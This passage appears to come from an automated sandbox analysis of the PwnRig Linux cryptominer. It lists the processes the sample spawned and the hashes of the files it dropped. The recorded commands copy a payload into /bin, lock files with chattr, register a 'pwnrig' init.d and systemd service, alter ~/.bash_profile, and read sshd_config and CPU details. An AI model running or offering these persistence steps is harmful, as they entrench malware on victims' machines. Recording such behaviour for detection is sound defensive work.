\$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"2⤵
- Writes file to tmp directory
PID:4807 -
/usr/bin/idid -u3⤵PID:4808
-
-
/usr/bin/idid -u3⤵PID:4809
-
-
/usr/bin/chattrchattr -i -a /bin/bprofr "~/.bash_profile"3⤵
- Attempts to change immutable files
PID:4810
-
-
/usr/bin/rmrm -rf /bin/bprofr3⤵PID:4811
-
-
/usr/bin/sedsed -i /bprofr/d "~/.bash_profile"3⤵PID:4812
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/bprofr3⤵
- Writes file to system bin folder
PID:4813
-
-
/usr/bin/idid -u3⤵PID:4814
-
-
/usr/bin/chattrchattr +i +a /bin/bprofr "~/.bash_profile"3⤵PID:4815
-
-
/usr/bin/mkdirmkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly3⤵PID:4816
-
-
/usr/sbin/update-rc.dupdate-rc.d -f pwnrig remove3⤵PID:4881
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:4882
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:4882
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:4882
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:4882
-
-
-
/usr/bin/rmrm -rf /bin/initdr3⤵PID:4908
-
-
/usr/bin/cpcp -f -r -- /tmp/service-agent /bin/initdr3⤵
- Writes file to system bin folder
PID:4909
-
-
/usr/bin/teetee /etc/init.d/pwnrig3⤵
- Modifies init.d
PID:4911
-
-
/usr/bin/sedsed -i "1 s/-e //" /etc/init.d/pwnrig3⤵
- Modifies init.d
PID:4912
-
-
/usr/bin/chmodchmod +x /etc/init.d/pwnrig /bin/initdr3⤵PID:4913
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig defaults3⤵PID:4914
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:4915
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:4915
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:4915
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:4915
-
-
-
/usr/sbin/update-rc.dupdate-rc.d pwnrig enable3⤵PID:4941
-
/usr/local/sbin/systemctlsystemctl --quiet enable pwnrig4⤵PID:4942
-
-
/usr/local/bin/systemctlsystemctl --quiet enable pwnrig4⤵PID:4942
-
-
/usr/sbin/systemctlsystemctl --quiet enable pwnrig4⤵PID:4942
-
-
/usr/bin/systemctlsystemctl --quiet enable pwnrig4⤵
- Reads EFI boot settings
PID:4942
-
-
/usr/local/sbin/systemctlsystemctl daemon-reload4⤵PID:4943
-
-
/usr/local/bin/systemctlsystemctl daemon-reload4⤵PID:4943
-
-
/usr/sbin/systemctlsystemctl daemon-reload4⤵PID:4943
-
-
/usr/bin/systemctlsystemctl daemon-reload4⤵
- Reads EFI boot settings
PID:4943
-
-
-
/usr/bin/chattrchattr +i +a /etc/init.d/pwnrig /bin/initdr3⤵PID:4969
-
-
/usr/bin/whichwhich systemctl3⤵PID:4970
-
-
/usr/bin/chattrchattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr3⤵PID:4971
-
-
/usr/bin/rmrm -rf /bin/sysdr3⤵PID:4972
-
-
-
/usr/bin/hostnamehostname -I1⤵PID:4772
-
/usr/bin/awkawk "{print \$1}"1⤵PID:4774
-
/usr/bin/awkawk "{print \"-\"\$2}"1⤵PID:4779
-
/usr/bin/headhead -n 11⤵PID:4778
-
/usr/bin/grepgrep "Port "1⤵PID:4777
-
/usr/bin/catcat /etc/ssh/sshd_config1⤵PID:4776
-
/usr/bin/sedsed -e "s/\$//"1⤵PID:4788
-
/usr/bin/sedsed -e "s/^ *//"1⤵PID:4787
-
/usr/bin/cutcut -d: -f21⤵PID:4786
-
/usr/bin/grepgrep -m 1 "model name" /proc/cpuinfo1⤵
- Checks CPU configuration
PID:4785
-
/usr/bin/awkawk "{print \$1}"1⤵PID:4791
-
/usr/bin/awkawk "{print \$4}"1⤵PID:4794
-
/usr/bin/awkawk "{print \$4}"1⤵PID:4797
-
/usr/local/sbin/systemctlsystemctl daemon-reload1⤵PID:4855
-
/usr/local/bin/systemctlsystemctl daemon-reload1⤵PID:4855
-
/usr/sbin/systemctlsystemctl daemon-reload1⤵PID:4855
-
/usr/bin/systemctlsystemctl daemon-reload1⤵PID:4855
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
45B
MD5b054422799689ef51afd93e6dcada227
SHA1214f30c032926bef314b79a655bfac4fd6e594bf
SHA256641abe140afea25af088f566ec1688e4c26ba7ca96f56e642b11d5bb02a5933c
SHA512a45124aaf74accccf7b9e449d579f41bfd793003354c38e513113f8df4170093e568915fee3f7a166669346f1c24abf0fbfd319a6e5c35e24c1a962ba2fa70f6
-
Filesize
199B
MD5906980accf4b594d289d69ab3c2b212c
SHA107d5e5111fe11aa1aaa66c61dc4a3df74b3ec6dd
SHA2562e4d6729014e1722ea4839b574d63c0e17a72a99c7ff2fd73bbb981c3429d92c
SHA512467b5bffb60506600723b0b416393853d21bfeb19986537a492716a338de4deb2cfe414e62c047798d1ad3b945d1571f1286e6d9627f823f35e7704b0d095fb0
-
Filesize
196B
MD585af470e35a1ae54466bb6d33978ad92
SHA1d3a7f7639a62dd11db91fbcf55922e29b66f1935
SHA2560940db984b9b439904954693b7d2fd4dd9b295e1cb4c440b203b2e72a3aea0ba
SHA512a2702d6157fe0f475a04ff10d0860756e1aaa7c9ee0ff05ae51ef13c7d8cb358ddc85011557e37a142ec1803e5a8551dbfc873ffa85437e5e97bfdff89c18145
-
Filesize
335B
MD5631c4cbba9e4b1460406d10e565f782a
SHA1047d61155b9be60c794f80764247ef769c215e64
SHA256197b329bf9dbc8a79b5b8e1b71e63e07cd6536555bbc6523116a90cc307f9aa2
SHA5127f036a16230bb2112c764c3a412cf462cf2c03c3b863beb98073774f02e5906d72a1c52992ee5885bea745d771ab3ab20be15090656510982788204da450c446
-
Filesize
384B
MD515caeb685929dab65b1094f9e5c4b29f
SHA12b1141235c528d8ef5aba5ec6567441d04b2634f
SHA256ac406aa204b2dd2c018a98fdb2090f99821be750dae169f5ca13a080822ac8b0
SHA512590862dfff0c3537ea515f8caf28a658c5419140819232d396ce2f0063532d6bb8b6c808df775c3185e6f08f868154879c4980c5d14b38fa1fb2eaa3392a1c71
-
Filesize
381B
MD531fc62b7f5d35aac493ca5162b16f812
SHA123aae8aa6388120308c0bdacb66fee7ac8e8641b
SHA2560e36d48719109e697a24e8fe2f72239109f55071ae9c603f85301029fb09271d
SHA51269e99a9aaebd79746d04cb022107a4b813e4d9a806ba55e53d6493c9b3a893156a5518117dcf8e7d6cdae3e5598a56feff2b108e5707eea85cafcaddb6b7d776
-
Filesize
360B
MD55ef8bc6ff2b248c7603a5e7d9c232e8a
SHA101ab099d6781c8666e41501801f88658ddf17705
SHA2560174d066d6d45ddee8691cb84084efe3f0769f65932bd3ba373248df0ad42879
SHA512b32c120531f88e7cbfd1205761d098d4af57e227214c2a82ab78b83d376fe900b605ecea3ccc8f33c50b50fc2bd9c0e3caa960e4e235e47f5573a55cafceb86b
-
Filesize
7.0MB
MD5c91421f0d68095890b50a034dbf9d060
SHA1624e0d9c94309de8d038b2e21cf07685d2020fdb
SHA2562f1854f309c913068700c0c3efec3a84ea48e62393df38bab9c8233053e2b19b
SHA51263d174cf0ba590aa836a9c4490ef7982d7590d8fcf9f67b8a8021dc23755a4aecf16805a12679e566d6d6bec45a4d3344d62197a7f3c6660c46812594888bd88
-
Filesize
184KB
MD563a86932a5bad5da32ebd1689aa814b3
SHA1472548a4b8295182f6ba8641d74725c2250b7243
SHA2560013b356966c3d693b253cdf00c7fdf698890c9b75605be07128cac446904ad9
SHA5124631e014f77c683819ae34278625b21525d9fa0697e5376ff2babfd77af3ca609fb4a82cde2374f2c96b00dc52cdc34d7efdc40a7ee2609566a6b6e9e630f332
-
Filesize
768KB
MD5c381659afc91ed120afff6564e2c25e6
SHA11f13114e487272953d2993a65602fb6539e2b014
SHA256ced3ac0e1d067b3950ba578c669b6d7bfc4dd7d3fc467f44e7eeb46d593540e0
SHA5123bf039a33e45b30b44d9d30df531dd136deda07b6788ed180107c9825d04577b1c412d919f09abc37d80e1133d1026ea15dc3b2f6ad7dc6f0b65461e2d4d8088
-
Filesize
2.3MB
MD5b9f096559e923787ebb1288c93ce2902
SHA194851bcc8f9c651bcda0ff33d17356cb0b16cf12
SHA2561fcc2061f767574044ca1e97f92ca1d44ee0b35e0a796e3bd6a949ad4b1175e5
SHA512ce5f09737d0b7191e3b646ed6111bb0ce97544d280223f327c4f4cc652dc840fed639bc0462b88a7f87d071066e302be7980f14faca1f5e6e9bf732637db22be
-
Filesize
388B
MD534bba0e0c7ab1c364409fc350fa37868
SHA1a362f6eb47fa0ae5973d1d3b72a20e3c727cbd56
SHA2567d3126408366c9a8813fac8aa2e970e18e837542209c38b751bdee68c06304e1
SHA512249b8608d3a89f9e2a075a6b8164457686a256665729d7e441cafcba35567dd157eeb5123221c8ee4377993907e0100bcd55888fb94a36b557074c0df2850b26
-
Filesize
385B
MD59297e32544b3f6f52346919c3dcc4d78
SHA1a817c64117b4cba178242bf99b008c094f836c7c
SHA256fb6251a22cfb915b67202de5f89f331f18559e09438a89914271fe51018a4311
SHA5128472916e8ed3c8cc7c8db00c2dbe6c103d18406deb6f2d3b7cdba2573cc843adff36a7814997a25f134a53434b8d9c87705d0a184534dae617b2e9b385763662
-
Filesize
220B
MD53231c3fe1939c0d2c4f97f55bfc6c514
SHA1d6e92563f5aca79465e673d390544a463e5442a3
SHA256666d8c7823fe428f2d0cd3bdcfc015590162964e769e2e0a26e1f08f47c5cccf
SHA512be3514fc882b80b6f801f9bcf1d1c329e908d1a3f231598aa6d227c108bf9e6aa19cc3283d9d766ee95a98d93b06ddc3f4dba686bebac95d908abd713acb82fe
-
Filesize
220B
MD5059349f2dfa989c8b4d9404bbb92240b
SHA17413fbec6b85cc8c91b366288b62ae4f2c2e58ec
SHA256b92edbd9ceb193c1c0d40d29159228c9d02921f10f1bd4a4f295ce69e87ded98
SHA512a7c51b3876db6c4c85cf8ebf59baf62da5ae39b7c656ab933eaf26f9ef4ecdd71baae9136ad46ae7c73ac3b5ddfbee0d5cafb08242188d676d603c63c2d92786